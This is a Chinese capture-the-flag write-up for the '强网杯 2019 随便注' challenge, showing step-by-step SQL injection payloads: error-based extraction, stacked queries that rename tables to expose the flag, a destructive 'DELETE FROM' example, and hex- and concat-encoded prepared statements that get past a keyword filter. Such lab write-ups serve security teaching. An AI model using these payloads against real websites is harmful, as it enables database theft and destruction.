• [强网杯 2019]随便注


    一 首先判断注入点的存在以及类型。

    1 正常
    
    1' 报错,并根据报错信息以及1'#回显正常判断出符号包裹为单引号
    
    1' and 1=1# 返回信息
    
    1' and 1=2#无返回信息 因此存在单引号注入点

    输入1' or 1=1 #可得到这个表的所有内容

    二 获取列数

    1' order by 1#
    1' order by 2#
    1' order by 3#  报错

    列数为2

    三 尝试获取数据库名 表名 版本等基本信息

    -1' union select database()#

    返回

    return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

    多个关键词都被过滤 /i  表示大小写都会被匹配到。

    大小写无法绕过过滤,尝试注释绕过和双写绕过。

    -1' union sele/**/ct database()#

    也无法返回正常结果。

    尝试报错注入

    1' and extractvalue(1,concat(0x7e,user(),0x7e)) #
    
    1' and extractvalue(1,concat(0x7e,database(),0x7e)) #
    
    1' and extractvalue(1,concat(0x7e,version(),0x7e)) #

    报出期望信息,但是没有select 无法查询更详细的字段信息。

    四 方法1堆叠注入

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,
    两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
    用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,
    利用mysqli_multi_query()函数就支持多条sql语句同时执行,
    但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,
    其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。 打开此题,进行常规测试,如1
    ' or 1=1# ,1' order by 1# 在1' order by 3时报错,说明列数为2
    -1' union sele/**/ct database()#  # 注释符也无法绕过
    
    1;show databases;  #      #列出数据库
    
    1';show tables;#   #列出表
    
    1';show columns from words;#   #查看words的列
    
    1';show columns from `1919810931114514`;#     #查看1919810931114514表的列或者desc `1919810931114514`查看表的结构

    表名为数字时,要用反引号包裹起来查询。

    1' or 1=1#   查看当前默认表的所有段,结合查询的words表的字段可知道words是默认查询的表。

    并且可推测当前页面查询语句是slect id,data from words;

    有这样的思路:如果把要查询的表名改为默认表名,同样也要把查询的字段改为默认查询字段

    修改表名(将表名user改为users)
    alter table user rename to users;
    
    修改列名(将字段名username改为name)
    alter table users change uesrname name varchar(30);

    1';alter table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

    1' or 1=1 # 得到flag

    五 方法二 预编译

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句

    先将select * from 1919810931114514进行16进制编码,set prepare被检测到,strstr函数不区分大小写,

    strstr($inject, "set") && strstr($inject, "prepare")

    大小写绕过过滤,构造payload

    1’;SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare stmt from @sql;execute stmt;#

    1';SeT@sql = concat('se','lect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

    1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");Prepare stmt from @sql;execute stmt;#

    以上三种都可以

  • 相关阅读:
    再见,我的二零一七
    Tomcat 源码分析(二)——Request处理全过程
    帅案之上——作为开发者的远见与卓识
    Tomcat 源码分析(一)——启动与生命周期组件
    从代码质量谈起
    Java设计模式(四)——再谈观察者模式
    你所不了解的五条面试忠告
    见微知著——从自定义类型的operator==说起
    编码、散列与加解密
    数据结构与算法(c++)——双缓存队列
  • 原文地址:https://www.cnblogs.com/akger/p/15076720.html
Copyright © 2020-2023  润新知